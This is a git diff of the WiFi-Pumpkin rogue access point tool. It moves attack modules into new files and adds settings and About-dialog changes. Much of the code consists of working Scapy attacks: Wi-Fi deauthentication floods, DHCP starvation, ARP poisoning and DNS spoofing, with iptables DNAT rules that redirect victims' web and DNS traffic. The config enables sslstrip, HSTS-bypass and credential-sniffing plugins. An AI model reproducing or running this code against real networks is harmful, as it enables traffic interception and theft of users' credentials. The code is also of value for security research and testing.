pass - - def Scanner_devices(self,pkt): - if pkt.haslayer(Dot11): - if pkt.type == 0 and pkt.subtype == 8: - self.emit(SIGNAL('Activated( QString )'),'{}|{}|{}'.format(pkt.addr2, - str(int(ord(pkt[Dot11Elt:3].info))),pkt.info)) - - def stop(self): - self.stopped = True - print 'Stop thread:' + self.objectName() - - -class ThreadDeauth(QThread): - def __init__(self,bssid, client,interface): - QThread.__init__(self) - self.bssid = bssid - self.client = client - self.interface = interface - self.status = False - self.pkts = [] - - def run(self): - print 'Starting Thread:' + self.objectName() - self.status = True - conf.iface = self.interface - pkt1 = RadioTap()/Dot11(type=0,subtype=12,addr1=self.client, - addr2=self.bssid,addr3=self.bssid)/Dot11Deauth(reason=7) - pkt2 = Dot11(addr1=self.bssid, addr2=self.client, - addr3=self.client)/Dot11Deauth() - self.pkts.append(pkt1),self.pkts.append(pkt2) - while self.status: - for packet in self.pkts: - sendp(packet,verbose=False,count=1,iface=self.interface) - - def stop(self): - self.status = False - print 'Stop thread:' + self.objectName() - -class ThreadAttackStar(QThread): - def __init__(self,interface): - QThread.__init__(self) - self.interface = interface - self.process = True - - def run(self): - print "Starting Thread:" + self.objectName() - self.count = 0 - while self.process: - conf.checkIPaddr = False - dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")\ - /IP(src="0.0.0.0",dst="255.255.255.255")\ - /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))\ - /DHCP(options=[("message-type","discover"),"end"]) - sendp(dhcp_discover) - self.count += 1 - self.data = ("PacketSend:[%s] DISCOVER Interface: %s "%(self.count,self.interface) - + strftime("%c")) - self.emit(SIGNAL("Activated( QString )"),self.data.rstrip()) - self.emit(SIGNAL("Activated( QString )"),"[ OFF ] Packet sent: " + str(self.count)) - def stop(self): - print "Stop thread:" + self.objectName() - self.process = False - - - -class ThARP_posion(QThread): - def __init__(self,srcAddress,dstAddress,mac): - QThread.__init__(self) - self.srcAddress = srcAddress - self.dstAddress = dstAddress - self.mac = mac - self.process = True - - def makePacket(self): - ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) - parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, - op = "is-at",hwsrc = self.mac,psrc = self.srcAddress,hwdst = - 'ff:ff:ff:ff:ff:ff',pdst = self.dstAddress) - padding = Padding(load = "\x00"*18) - packet_arp= ether/parp/padding - return packet_arp - - def run(self): - print 'Starting Thread:' + self.objectName() - pkt = self.makePacket() - while self.process: - sendp(pkt,verbose=False) - sleep(2) - - def stop(self): - self.process = False - print 'Stop thread:' + self.objectName() - self.emit(SIGNAL('Activated( QString )'),'Ok') - - -class ThreadProbeScan(QThread): - def __init__(self,interface): - QThread.__init__(self) - self.interface = interface - self.finished = False - - def run(self): - print "Starting Thread:" + self.objectName() - self.ProbeResqest() - def Startprobe(self,q): - while not self.finished: - try: - sniff(iface = self.interface,count = 10, prn = lambda x : q.put(x)) - except:pass - if self.finished:break - - def ProbeResqest(self): - q = Queue.Queue() - sniff = Thread(target =self.Startprobe, args = (q,)) - sniff.daemon = True - sniff.start() - while (not self.finished): - try: - pkt = q.get(timeout = 1) - self.sniff_probe(pkt) - except Queue.Empty: - pass - def sniff_probe(self,p): - if (p.haslayer(Dot11ProbeReq)): - mac_address=(p.addr2) - ssid=p[Dot11Elt].info - ssid=ssid.decode('utf-8','ignore') - if ssid == '':ssid='Hidden' - try: - devices = EUI(mac_address) - devices = devices.oui.registration().org - except: - devices = 'unknown device' - self.emit(SIGNAL("Activated( QString )"),mac_address + '|'+ssid +'|'+devices) - - def stop(self): - print "Stop thread:" + self.objectName() - self.finished = True - -class ThSpoofAttack(QThread): - def __init__(self,domains,interface,filter,verbose,redirect): - QThread.__init__(self) - self.target = domains - self.filter = filter - self.verbose = verbose - self.interface = interface - self.redirect = redirect - self.finished = False - self.mac = get_if_hwaddr(self.interface) - self.desc = ['Module DNS spoof'] - - def run(self): - print 'Starting Thread:' + self.objectName() - self.sniff() - - def ARP(self,target,gateway): - ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) - parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, - op = 'is-at',hwsrc = self.mac,psrc = gateway,hwdst = - 'ff:ff:ff:ff:ff:ff',pdst = target) - padding = Padding(load = "\x00"*18) - packet_arp= ether/parp/padding - while True: - try: - sendp(packet_arp, - verbose=False, count=3) - send(packet_arp, - verbose=False, count=3) - except: - pass - - def StartSpoof(self,q): - while self.finished: - sniff(iface = self.interface, - count = 10, filter = self.filter, prn = lambda x : q.put(x)) - - def sniff(self): - q = Queue.Queue() - sniffer = Thread(target =self.StartSpoof, args = (q,)) - sniffer.daemon = True - sniffer.start() - while (not self.finished): - try: - pkt = q.get(timeout = 1) - self.Poisoning(pkt) - except Queue.Empty: - pass - - def Poisoning(self,packet): - #https://github.com/Adastra-thw/pyHacks/blob/master/MitmDnsSpoofingPoC.py - if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0: - for targetDomain, ipAddressTarget in self.target.items(): - if packet.getlayer(DNS).qd.qname == targetDomain: - try: - requestIP = packet[IP] - requestUDP = packet[UDP] - requestDNS = packet[DNS] - requestDNSQR = packet[DNSQR] - responseIP = IP(src=requestIP.dst, dst=requestIP.src) - responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) - responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget) - responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) - answer = responseIP/responseUDP/responseDNS - send(answer) - except: - pass - elif packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) == 0: - try: - requestIP = packet[IP] - requestUDP = packet[UDP] - requestDNS = packet[DNS] - requestDNSQR = packet[DNSQR] - responseIP = IP(src=requestIP.dst, dst=requestIP.src) - responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) - responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = self.redirect) - responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) - answer = responseIP/responseUDP/responseDNS - send(answer) - except Exception: - pass - def redirection(self): - system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') - system('iptables --append FORWARD --in-interface '+self.interface+' --jump ACCEPT') - system('iptables --table nat --append POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE') - system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) - system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) - - def redirectionAP(self): - system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') - system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) - system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) - - def redirectionRemove(self): - system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE') - system('iptables -D FORWARD --in-interface '+self.interface+' --jump ACCEPT') - system('iptables --table nat -D POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE') - system('iptables -t nat -D PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -D PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) - system('iptables -t nat -D PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) - system('iptables -t nat -D PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) - def stop(self): - print 'Stop Thread:' + self.objectName() - self.finished = True - self.redirectionRemove() - self.emit(SIGNAL('Activated( QString )'),'finished') '''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' def setup_logger(logger_name, log_file, level=logging.INFO): @@ -566,6 +145,36 @@ def exportHtml(): Load_ = {'HTML': HTML,'Files':[readFile[x].keys()[0] for x in readFile.keys()]} return Load_ + @staticmethod + def settingsNetworkManager(interface=str,Remove=False): + ''' mac address of interface to exclude ''' + networkmanager = '/etc/NetworkManager/NetworkManager.conf' + config = configparser.RawConfigParser() + config.read(networkmanager) + MAC = Refactor.get_interface_mac(interface) + if MAC != None and not Remove: + if path.exists(networkmanager): + try: + config.add_section('keyfile') + except configparser.DuplicateSectionError, e: + config.set('keyfile','unmanaged-devices','mac:{}'.format(MAC)) + else: + config.set('keyfile','unmanaged-devices','mac:{}'.format(MAC)) + finally: + with open(networkmanager, 'wb') as configfile: + config.write(configfile) + return True + elif MAC != None and Remove: + try: + config.remove_option('keyfile','unmanaged-devices') + with open(networkmanager, 'wb') as configfile: + config.write(configfile) + return True + except configparser.NoSectionError: + pass + if not path.exists(networkmanager): + return False + @staticmethod def set_ip_forward(value): with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: @@ -604,7 +213,7 @@ def get_mac(host): if len(fields) == 6 and fields[3] != "00:00:00:00:00:00": return fields[3] else: - return ' not detected' + return None @staticmethod def get_interface_mac(device): diff --git a/Core/config/Settings.xml b/Core/config/Settings.xml deleted file mode 100644 index 48ce325..0000000 --- a/Core/config/Settings.xml +++ /dev/null @@ -1,56 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Core/config/app/config.ini b/Core/config/app/config.ini new file mode 100644 index 0000000..149c0f6 --- /dev/null +++ b/Core/config/app/config.ini @@ -0,0 +1,53 @@ +[settings] +themes=themes/theme2 +deauth=packets_scapy +scanner_AP=scan_scapy +scanner_rangeIP=0-255 +mdk3=a -a m -t +Function_scan=Ping +redirect_port=10000 + +[accesspoint] +hostapd=True +using=hostapd +statusAP=false +dhcp_server=iscdhcpserver +channel=11 +APname=PumpAP +interface=wlan1 + +[dhcp] +leasetimeDef=600 +leasetimeMax=7200 +subnet=10.0.0.0 +router=10.0.0.1 +netmask=255.255.255.0 +broadcast=10.0.0.255 +range=10.0.0.20/10.0.0.50 + +[dockarea] +advanced=false +dock_phishing=false +dock_credencials=true +dock_urlmonitor=true + +[dhcpdefault] +leasetimeDef=600 +leasetimeMax=7200 +subnet=10.0.0.0 +router=10.0.0.1 +netmask=255.255.255.0 +broadcast=10.0.0.255 +range=10.0.0.20/10.0.0.50 + +[plugins] +sslstrip_plugin=True +netcreds_plugin=True +dns2proxy_plugin=True +sergioproxy_plugin=True + +[iptables] +iptables_accept=iptables -P FORWARD ACCEPT +iptables_gateway=iptables --append FORWARD --in-interface $$ -j ACCEPT +iptables_masq=iptables --table nat --append POSTROUTING --out-interface $$ -j MASQUERADE +iptables_route=iptables -t nat -A POSTROUTING -j MASQUERADE diff --git a/Core/config/commits/Lcommits.cfg b/Core/config/commits/Lcommits.cfg index beaad74..29626ff 100644 --- a/Core/config/commits/Lcommits.cfg +++ b/Core/config/commits/Lcommits.cfg @@ -1,13 +1,11 @@ master: [ - { Version: '0.7.3'} - { changelog : 'added new Pump-Logo default' }, - { changelog : 'added PumpSettings TAB DHCP configure' }, - { changelog : 'fixed no share internet with plugins sslstrip disabled' }, - { changelog : 'added new Modular Transparent Proxy tranks @xtr4nge sslstrip::mod' }, - { changelog : 'added new bypass HSTS by LeonardoNve sslstrip feature' }, - { changelog : 'added new plugins sergio-proxy' }, - { changelog : 'fixed logger duplicate injection::proxy' }, - { changelog : 'fixed get_interfaces method (netifaces module)' }, - { changelog : 'added new Tab Pump-Monitor Clients::RequestsAP' }, + { Version: '0.7.5'} + { changelog : 'fixed size QTableWidget on modules' }, + { changelog : 'fixed scanner fast ipaddress devices local' }, + { changelog : 'added new QSettings Core/modules::Configure' }, + { changelog : 'added mac address interface to exclude NetworkManager' }, + { changelog : 'added dockArea Monitor -> Pumpkin-Settings' }, + { changelog : 'added progressBar for starting Thread' }, + { changelog : 'added support to start AP with wireless connection' }, ] diff --git a/Core/helpers/about.py b/Core/helpers/about.py index 9262c09..5868a6f 100644 --- a/Core/helpers/about.py +++ b/Core/helpers/about.py @@ -1,5 +1,37 @@ from Core.loaders.Stealth.PackagesUI import * +class License(QTextEdit): + def __init__(self,parent = None): + super(License,self).__init__(parent) + self.setReadOnly(True) + self.setWindowTitle('License WiFI-Pumpkin GPL') + self.setGeometry(0,0,300,300) + self.center() + self.setText(open('LICENSE','r').read()) + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + +class ChangeLog(QTextEdit): + def __init__(self,parent = None): + super(ChangeLog,self).__init__(parent) + self.setMinimumHeight(240) + self.setStyleSheet('''QWidget { + color: #b1b1b1; background-color: #323232;}''') + self.setText(open('CHANGELOG','r').read()) + self.setReadOnly(True) + +class TranksTo(QTextEdit): + def __init__(self,formLayout,parent = None): + super(TranksTo,self).__init__(parent) + self.setReadOnly(True) + self.setStyleSheet('''QWidget { + color: #b1b1b1; background-color: #323232;}''') + self.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.setLayout(formLayout) + class frmAbout(PumpkinModule): def __init__(self,author,emails,version, update,license,desc, parent = None): @@ -8,12 +40,11 @@ def __init__(self,author,emails,version, self.emails = emails self.version = version self.update = update - self.license = license - self.desc = desc + self.desc = QLabel(desc[0]+'
') self.setWindowTitle("About WiFi-Pumpkin") self.Main = QVBoxLayout() self.frm = QFormLayout() - self.setGeometry(0, 0, 400, 300) + self.setGeometry(0, 0, 350, 400) self.center() self.loadtheme(self.configure.XmlThemeSelected()) self.Qui_update() @@ -25,27 +56,82 @@ def center(self): self.move(frameGm.topLeft()) def Qui_update(self): + self.logoapp = QLabel('') + self.logoapp.setPixmap(QPixmap('Icons/icon.ico').scaled(96,96)) self.form = QFormLayout(self) + self.form2 = QHBoxLayout(self) + self.form.addRow(self.logoapp,QLabel( + QString('

WiFi-Pumpkin {}

'.format(self.version)))) + self.tabwid = QTabWidget(self) + self.TabAbout = QWidget(self) + self.TabVersion = QWidget(self) + self.TabTranks = QWidget(self) + self.TabChangelog = QWidget(self) self.btn_exit = QPushButton("Close") - self.licenseEdit = QTextEdit(self) - self.licenseEdit.setFixedHeight(150) - self.licenseEdit.setText(open('LICENSE','r').read()) - ltool = QLabel('
WiFi-Pumpkin v%s
'%(self.version)) - ldesc = QLabel('
'+self.desc[0]+'
') - lversion = QLabel('Version:'+self.version) - lupdate = QLabel('Last Update:'+self.update) - lautor = QLabel('Author:'+self.author) - lemail = QLabel('Emails:'+self.emails[0] +" | "+self.emails[1]) - licese = QLabel('License:'+self.license) - self.form.addRow(ltool) - self.form.addRow(ldesc) - self.form.addRow(lversion) - self.form.addRow(lupdate) - self.form.addRow(lautor) - self.form.addRow(lemail) - self.form.addRow(licese) - self.form.addRow(self.licenseEdit) - self.btn_exit.clicked.connect(self.deleteLater) - self.form.addRow(self.btn_exit) + self.btn_exit.setFixedWidth(90) + self.btn_exit.setIcon(QIcon('Icons/cancel.png')) + self.btn_exit.clicked.connect(self.close) + + self.formAbout = QFormLayout(self) + self.formVersion = QFormLayout(self) + self.formTranks = QFormLayout(self) + self.formChange = QFormLayout(self) + + # About section + self.formAbout.addRow(self.desc) + self.formAbout.addRow(QLabel('Last Update:')) + self.formAbout.addRow(QLabel(self.update+'
')) + self.formAbout.addRow(QLabel('Feedback:')) + self.formAbout.addRow(QLabel(self.emails[0])) + self.formAbout.addRow(QLabel(self.emails[1]+'
')) + self.formAbout.addRow(QLabel('Copyright 2015-2016, '+self.author[:-14])) + self.gnu = QLabel('License: GNU General Public License Version
') + self.gnu.linkActivated.connect(self.link) + self.formAbout.addRow(self.gnu) + self.formAbout.addRow(QLabel('
{}
'.format(self.author[-14:]))) + self.TabAbout.setLayout(self.formAbout) + + # Version Section + self.formVersion.addRow(QLabel('Version: {}
'.format(self.version))) + self.formVersion.addRow(QLabel('Using:')) + import platform + python_version = platform.python_version() + self.formVersion.addRow(QLabel(''' +
    +
  • QTVersion: {}
  • +
  • Python: {}
  • +
'''.format(QT_VERSION_STR,python_version))) + self.TabVersion.setLayout(self.formVersion) + + # Tranks Section + self.formMode = QFormLayout(self) + self.formMode.addRow(QLabel('@xtr4nge')) + self.formMode.addRow(QLabel('Sslstrip2 based version fork

')) + self.formMode.addRow(QLabel('@LeonardoNve')) + self.formMode.addRow(QLabel('Plugin SSLstrip version fork,Plugin dns2proxy

')) + self.formMode.addRow(QLabel('Ben Schmidt @supernothing')) + self.formMode.addRow(QLabel('Plugin Sergio Proxy - bypass HSTS

')) + self.formMode.addRow(QLabel('Dan McInerney @danhmcinerney')) + self.formMode.addRow(QLabel('Plugin Netcreds - Sniffs sensitive data

')) + self.formTranks.addRow(TranksTo(self.formMode)) + self.TabTranks.setLayout(self.formTranks) + + # Changelog Section + self.formChange.addRow(ChangeLog()) + self.TabChangelog.setLayout(self.formChange) + + # self.form.addRow(self.btn_exit) + self.tabwid.addTab(self.TabAbout,'About') + self.tabwid.addTab(self.TabVersion,'Version') + self.tabwid.addTab(self.TabChangelog,'ChangeLog') + self.tabwid.addTab(self.TabTranks,'TranksTo') + self.form.addRow(self.tabwid) + self.form2.addSpacing(240) + self.form2.addWidget(self.btn_exit) + self.form.addRow(self.form2) self.Main.addLayout(self.form) self.setLayout(self.Main) + + def link(self): + self.formLicense = License() + self.formLicense.show() diff --git a/Core/helpers/update.py b/Core/helpers/update.py index 69a33a8..e85fd00 100644 --- a/Core/helpers/update.py +++ b/Core/helpers/update.py @@ -151,6 +151,22 @@ def __init__(self, parent=None, total=0): self.setMinimum(1) self.setMaximum(total) self._active = False + self.setAlignment(Qt.AlignCenter) + self._text = None + + def setText(self, text): + self._text = text + + def text(self): + if self._text != None: + return QString(str(self._text)) + return QString('') + + def update_bar_simple(self, add): + value = self.value() + add + self.setValue(value) + if value > 50: + self.change_color("green") def update_bar(self, add): while True: diff --git a/Core/loaders/Stealth/PackagesUI.py b/Core/loaders/Stealth/PackagesUI.py index 5451327..f818f66 100644 --- a/Core/loaders/Stealth/PackagesUI.py +++ b/Core/loaders/Stealth/PackagesUI.py @@ -1,10 +1,11 @@ -from scapy.all import * from PyQt4.QtGui import * from PyQt4.QtCore import * +from Core.Utils import Refactor from subprocess import Popen,PIPE -from Core.config.Settings import frm_Settings +from Core.utility.settings import frm_Settings from Modules.servers.PhishingManager import frm_PhishingManager -from Core.Utils import Refactor,ThARP_posion,ThSpoofAttack,ThreadScan,ThreadPopen +from Core.utility.threads import ThreadPopen,ThreadScan,ProcessThread +from Core.packets.network import ThARP_posion,ThSpoofAttack class PumpkinModule(QWidget): ''' this is Qwidget Module base ''' def __init__(self,parent=None,*args): diff --git a/Core/loaders/checker/Privilege.py b/Core/loaders/checker/Privilege.py deleted file mode 100644 index 9bc5e59..0000000 --- a/Core/loaders/checker/Privilege.py +++ /dev/null @@ -1,61 +0,0 @@ -import getpass -from os import popen -from re import search -from Core.loaders.Stealth.PackagesUI import * - -class frm_privelege(PumpkinModule): - def __init__(self, parent = None): - super(frm_privelege, self).__init__(parent) - self.setWindowTitle("Privilege Authentication") - self.Main = QVBoxLayout() - self.frm = QFormLayout() - self.setGeometry(0, 0, 270, 100) - self.center() - self.loadtheme(self.configure.XmlThemeSelected()) - self.Qui() - - def center(self): - frameGm = self.frameGeometry() - centerPoint = QDesktopWidget().availableGeometry().center() - frameGm.moveCenter(centerPoint) - self.move(frameGm.topLeft()) - - def Qui(self): - self.user = QComboBox() - self.user.addItem(getpass.getuser()) - self.btn_cancel = QPushButton("Cancel") - self.btn_ok = QPushButton("Ok") - self.Editpassword = QLineEdit(self) - self.Editpassword.setFocus() - #temporary - - self.Editpassword.setEchoMode(QLineEdit.Password) - self.btn_cancel.clicked.connect(self.close) - self.btn_ok.clicked.connect(self.function_ok) - self.btn_ok.setDefault(True) - self.frm.addRow("User:", self.user) - self.frm.addRow("Password:", self.Editpassword) - self.grid = QGridLayout() - self.grid.addWidget(self.btn_cancel, 1,2) - self.grid.addWidget(self.btn_ok, 1,3) - self.Main.addLayout(self.frm) - self.Main.addLayout(self.grid) - self.setLayout(self.Main) - - def function_ok(self): - self.hide() - out = self.thread(str(self.Editpassword.text())) - if search("1 incorrect password attemp",out): - QMessageBox.information(self, "Sudo Password check", - "[sudo] password for %s: Sorry, try again."%(getpass.getuser())) - self.show() - self.Editpassword.clear() - return - self.close() - - def thread(self,sudo_password): - popen("sudo -k") - p = Popen(['sudo', '-S','|','ls'], stdin=PIPE, stderr=PIPE, - universal_newlines=True) - output = p.communicate(str(sudo_password) + '\n')[1] - return output \ No newline at end of file diff --git a/Core/loaders/checker/check_depen.py b/Core/loaders/checker/check_depen.py index 6cdc592..eb87a31 100644 --- a/Core/loaders/checker/check_depen.py +++ b/Core/loaders/checker/check_depen.py @@ -1,6 +1,7 @@ #coding: utf-8 from os import path,popen,remove,system from shutil import copy +import sys GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' @@ -9,7 +10,10 @@ def notinstall(app): print '[%s✘%s] %s is not %sinstalled%s.'%(RED,ENDC,app,YELLOW,ENDC) -def check_dependencies(): +def check_dep_pumpkin(): + if sys.version_info.major != 2: + print("WiFi-Pumpkin need Python 2 :(") + sys.exit(-1) hostapd = popen('which hostapd').read().split("\n") dhcpd = popen('which dhcpd').read().split("\n") lista = [dhcpd[0],hostapd[0]] diff --git a/Core/packets/__init__.py b/Core/packets/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Core/packets/network.py b/Core/packets/network.py new file mode 100644 index 0000000..2f30462 --- /dev/null +++ b/Core/packets/network.py @@ -0,0 +1,195 @@ +import Queue +from os import system +from scapy.all import * +from threading import Thread +from PyQt4.QtCore import QThread,SIGNAL + +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + for modules. + +Copyright: + Copyright (C) 2015 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class ThreadAttackStar(QThread): + def __init__(self,interface): + QThread.__init__(self) + self.interface = interface + self.process = True + + def run(self): + print "Starting Thread:" + self.objectName() + self.count = 0 + while self.process: + conf.checkIPaddr = False + dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")\ + /IP(src="0.0.0.0",dst="255.255.255.255")\ + /UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))\ + /DHCP(options=[("message-type","discover"),"end"]) + sendp(dhcp_discover) + self.count += 1 + self.data = ("PacketSend:[%s] DISCOVER Interface: %s "%(self.count,self.interface) + + strftime("%c")) + self.emit(SIGNAL("Activated( QString )"),self.data.rstrip()) + self.emit(SIGNAL("Activated( QString )"),"[ OFF ] Packet sent: " + str(self.count)) + def stop(self): + print "Stop thread:" + self.objectName() + self.process = False + + +class ThARP_posion(QThread): + def __init__(self,srcAddress,dstAddress,mac): + QThread.__init__(self) + self.srcAddress = srcAddress + self.dstAddress = dstAddress + self.mac = mac + self.process = True + + def makePacket(self): + ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) + parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, + op = "is-at",hwsrc = self.mac,psrc = self.srcAddress,hwdst = + 'ff:ff:ff:ff:ff:ff',pdst = self.dstAddress) + padding = Padding(load = "\x00"*18) + packet_arp= ether/parp/padding + return packet_arp + + def run(self): + print 'Starting Thread:' + self.objectName() + pkt = self.makePacket() + while self.process: + sendp(pkt,verbose=False) + sleep(2) + + def stop(self): + self.process = False + print 'Stop thread:' + self.objectName() + self.emit(SIGNAL('Activated( QString )'),'Ok') + + + + +class ThSpoofAttack(QThread): + def __init__(self,domains,interface,filter,verbose,redirect): + QThread.__init__(self) + self.target = domains + self.filter = filter + self.verbose = verbose + self.interface = interface + self.redirect = redirect + self.finished = False + self.mac = get_if_hwaddr(self.interface) + self.desc = ['Module DNS spoof'] + + def run(self): + print 'Starting Thread:' + self.objectName() + self.sniff() + + def ARP(self,target,gateway): + ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) + parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, + op = 'is-at',hwsrc = self.mac,psrc = gateway,hwdst = + 'ff:ff:ff:ff:ff:ff',pdst = target) + padding = Padding(load = "\x00"*18) + packet_arp= ether/parp/padding + while True: + try: + sendp(packet_arp, + verbose=False, count=3) + send(packet_arp, + verbose=False, count=3) + except: + pass + + def StartSpoof(self,q): + while self.finished: + sniff(iface = self.interface, + count = 10, filter = self.filter, prn = lambda x : q.put(x)) + + def sniff(self): + q = Queue.Queue() + sniffer = Thread(target =self.StartSpoof, args = (q,)) + sniffer.daemon = True + sniffer.start() + while (not self.finished): + try: + pkt = q.get(timeout = 1) + self.Poisoning(pkt) + except Queue.Empty: + pass + + def Poisoning(self,packet): + #https://github.com/Adastra-thw/pyHacks/blob/master/MitmDnsSpoofingPoC.py + if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0: + for targetDomain, ipAddressTarget in self.target.items(): + if packet.getlayer(DNS).qd.qname == targetDomain: + try: + requestIP = packet[IP] + requestUDP = packet[UDP] + requestDNS = packet[DNS] + requestDNSQR = packet[DNSQR] + responseIP = IP(src=requestIP.dst, dst=requestIP.src) + responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) + responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget) + responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) + answer = responseIP/responseUDP/responseDNS + send(answer) + except: + pass + elif packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) == 0: + try: + requestIP = packet[IP] + requestUDP = packet[UDP] + requestDNS = packet[DNS] + requestDNSQR = packet[DNSQR] + responseIP = IP(src=requestIP.dst, dst=requestIP.src) + responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport) + responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = self.redirect) + responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) + answer = responseIP/responseUDP/responseDNS + send(answer) + except Exception: + pass + def redirection(self): + system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') + system('iptables --append FORWARD --in-interface '+self.interface+' --jump ACCEPT') + system('iptables --table nat --append POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE') + system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) + system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) + + def redirectionAP(self): + system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') + system('iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -A PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) + system('iptables -t nat -A PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) + + def redirectionRemove(self): + system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE') + system('iptables -D FORWARD --in-interface '+self.interface+' --jump ACCEPT') + system('iptables --table nat -D POSTROUTING --out-interface '+self.interface+' --jump MASQUERADE') + system('iptables -t nat -D PREROUTING -p tcp --dport 80 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -D PREROUTING -p tcp --dport 443 --jump DNAT --to-destination '+self.redirect) + system('iptables -t nat -D PREROUTING -i '+self.interface+' -p udp --dport 53 -j DNAT --to '+self.redirect) + system('iptables -t nat -D PREROUTING -i '+self.interface+' -p tcp --dport 53 -j DNAT --to '+self.redirect) + def stop(self): + print 'Stop Thread:' + self.objectName() + self.finished = True + self.redirectionRemove() + self.emit(SIGNAL('Activated( QString )'),'finished') \ No newline at end of file diff --git a/Core/packets/wireless.py b/Core/packets/wireless.py new file mode 100644 index 0000000..1c33ae5 --- /dev/null +++ b/Core/packets/wireless.py @@ -0,0 +1,138 @@ +import Queue +from scapy.all import * +from threading import Thread +from PyQt4.QtCore import QThread,SIGNAL +from netaddr import EUI + +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + for modules. + +Copyright: + Copyright (C) 2015 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY 